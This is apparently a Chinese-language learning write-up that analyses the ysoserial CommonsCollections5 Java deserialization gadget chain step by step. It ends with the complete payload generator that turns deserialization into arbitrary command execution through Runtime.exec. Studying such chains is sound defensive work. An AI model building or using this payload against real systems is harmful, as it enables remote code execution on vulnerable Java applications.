分析CommonsCollections 5链的构造与执行逻辑

前言:接触java安全没多久,拿ysoserial的CC5链分析一下,从最终执行命令的点一步步向前反推,给自己做个记录。

一、命令执行的地方在org.apache.commons.collections.functors.InvokerTransformer#transform

代码:
public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}
分析代码:

主要分析try catch中的第一块内容:

Class cls = input.getClass() ;     //反射获取传递的参数的类

Method method = cls.getMethod(this.iMethodName, this.iParamTypes);     //反射获取cls的方法

return method.invoke(input, this.iArgs);     //反射执行上一步中获得的方法

想要利用上面的代码执行任意命令,可以通过如下示例执行

Class cls = Runtime.getRuntime().getClass() ;     //反射获取传递的参数的类

Method method = cls.getMethod("exec", new Class[]{String.class});     //反射获取cls的方法

return method.invoke(Runtime.getRuntime(), new String[]{"calc"});     //反射执行上一步中获得的方法

对比代码可以看到,只要控制input和this.iMethodName, this.iParamTypes,this.iArgs这三个参数就可以RCE了,而InvokerTransformer的构造方法就是初始化这三个参数的,我们在实例化这个类的时候传递自定义参数即可,但是这里的input我们需要用到的Runtime类也不能直接传递对象,需要通过反射调用getRuntime方法来构造Runtime对象。

这里可以通过反射执行任意命令,但是这个类反序列化调用readObject方法后不会自动执行transform方法,所以直接反序列化这个类是不能造成RCE的,我们需要找其他的类或者一条链能去调用transform方法并且最终能够序列化。

二、CC5链的第二步org.apache.commons.collections.functors.ChainedTransformer#transform

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

上面的代码中,org.apache.commons.collections.functors.ChainedTransformer#transform中调用了transform方法,并且this.iTransformers[i]在构造方法中进行了初始化,使我们可以传递Transformer对象数组,而我们第一步中用到的InvokerTransformer类也实现了Transformer接口,那么可以将InvokerTransformer的实例化对象加到里面,然后在调用ChainedTransformer类的transform方法时,传递调用到InvokerTransformer的transform方法。

关键点:构造payload的流程

循环执行传入的transformers数组中对象的transform方法,我们拿payload中的这一部分来看

final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

构造的transform对象中包含五个实例化的类,接着按照上面的流程过一遍,由于是for循环调用传入的类的transform方法,那么就一个类一个类的过一遍。

把for循环拿出来方便过流程:

for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

第一步:new ConstantTransformer(Runtime.class),会自动调用此类的构造方法,即ConstantTransformer(Runtime.class),跟进去

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

初始化this.iConstant,紧接着看到下面的transform方法,这个方法是在ChainedTransformer的transform方法里的for循环中调用的,那么我们传入ConstantTransformer对象,首先调用构造函数,将我们传入的参数赋值给this.iConstant,然后再调用transform方法,return this.iConstant,而payload中传入的参数是Runtime.class,那么return也就是直接return这个Runtime.class.

第二步:第一步的结构是Runtime.class,而且看for循环中的语句,transformers数组的第二个对象会把上一次循环的结果作为transform的参数传入,这里就是在第二次循环执行transform方法时,传入 了Runtime.class,那么看transforms的第二个对象是什么——

new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] })

是InvokerTransformer的实例化对象,首先用new实例化对象会调用构造函数

private InvokerTransformer(String methodName) {
    this.iMethodName = methodName;
    this.iParamTypes = null;
    this.iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

构造函数有两个有参构造,根据我们传入的参数自动选择,那么根据我们传入的参数,自动选择下面的构造函数

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

初始化了三个变量,根据我们new时传入的参数,最终初始化后的参数如下

    this.iMethodName = "getMethod";
    this.iParamTypes = new Class[] {String.class, Class[].class};
    this.iArgs = new Object[] {"getRuntime", new Class[0]};

然后在for循环内调用此类的transform方法(这里的input就是上一次循环的结果赋值给了object,也就是Runtime.class)

public Object transform(Object input) {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } 
        ......

将参数都带入后为

public Object transform(Object input) { //input=Runtime.class
        try {
            Class cls = Runtime.class.getClass();
            Method method = cls.getMethod("getMethod", new Class[] {String.class, Class[].class});
            return method.invoke(Runtime.class, new Object[] {"getRuntime", new Class[0]});
        } 
        ......

这样下一次的object就变成了Runtime.getRuntime方法

第三步:接着进入下一次循环,此时object已经变成了Runtime.getRuntime()

然后调用transforms数组中的第三个对象的transform方法

这里还是

public Object transform(Object input) {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } 
        ......

看一下传入的参数

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0]})

带入transform方法中就是

public Object transform(Object input) {
        try {
            Class cls = Runtime.getRuntime().getClass();
            Method method = cls.getMethod("invoke", new Class[] {
                    Object.class, Object[].class });
            return method.invoke(Runtime.getRuntime(), new Object[] {
                    null, new Object[0] });
        }
        ......

代码中的cls就是class java.lang.reflect.Method,然后method就是

public java.lang.Object java.lang.reflect.Method.invoke(),简化一下就是

public Object invoke(),也就是反射时用到的invoke方法。

再往下有一点绕,相当于invoke().invoke(Runtime.getRuntime(),new Object[]{null,new Object[0]}),应该相当于Runtime.getRuntime().invoke(null)

这样return的就是一个Runtime的实例化对象

第四步:这里就是最后一步执行,还是老样子,跟一下过程

public Object transform(Object input) {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } 
        ......

看一下传入的参数(这里的input已经变成了Runtime的一个实例化对象用Runtime@obj代替)

new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})

带入transform方法中就是

public Object transform(Object input) {
        try {
            Class cls = [email protected]();
            Method method = cls.getMethod("exec", new Class[]{String.class});
            return method.invoke(Runtime@obj,new String[]{"calc"});
        }
        ......

这样就可以清晰的看到反射执行了[email protected]("clac")

这样CC5链的第二块就分析完了,CC链现在有很多条了,有几条链中都用到了以上部分。

三、执行命令的方法找到了,现在需要找到重写的readObject中可以直接或间接调用transform方法的类org.apache.commons.collections.map.LazyMap#get

public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

在这个方法中调用了transform方法,而this.factory也是在LazyMap类的构造方法中初始化的,虽然此类的构造方法是procted的,但类中提供了公共的decorate方法可以返回实例化对象,所以这里也就是我们可控的,那么就可以通过控制this.factory来执行指定对象的transform方法。

四、目前get可以作为利用链的一环,但是还是不能够readObject时自动调用,所以还需要找到间接调用get方法的能够被readObject的自动调用的方法org.apache.commons.collections.keyvalue.TiedMapEntry#toString->#getValue

通过toString可以调用getValue,而通过getValue可以调用get方法

public Object getValue() {
    return this.map.get(this.key);
}

......
public String toString() {
        return this.getKey() + "=" + this.getValue();
}

需要this.map可控

public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
}

构造函数初始化时是可控的

五、接着找readObject可以自动调用toString的,也是CC5链的最后一环——BadAttributeValueExpException#readObject

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Object var3 = var2.get("val", (Object)null);
        if (var3 == null) {
            this.val = null;
        } else if (var3 instanceof String) {
            this.val = var3;
        } else if (System.getSecurityManager() != null && !(var3 instanceof Long) && !(var3 instanceof Integer) && !(var3 instanceof Float) && !(var3 instanceof Double) && !(var3 instanceof Byte) && !(var3 instanceof Short) && !(var3 instanceof Boolean)) {
            this.val = System.identityHashCode(var3) + "@" + var3.getClass().getName();
        } else {
            this.val = var3.toString();
        }

    }

这里反序列化时会自动调用var3.toString(),这个类也是我们最终需要序列化的类,把最后val属性设置为上面的上面的TiedMapEntry构造的类就好了,前面的属性也是逐层设置(new对象的时候把属性给构造方法)

这里有一个点就是BadAttributeValueExpException的构造函数

public BadAttributeValueExpException(Object var1) {
    this.val = var1 == null ? null : var1.toString();
}

在执行时会判断var1是否为空,如果不为空则先执行一次toString(),那么在反序列化的时候就过不了上面readObject方法的第一个else if,也就不会再调用toString()了,所以我们构造payload的时候要利用反射去设置val的值。

payload from ysoserial:

public BadAttributeValueExpException getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, entry);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return val;
    }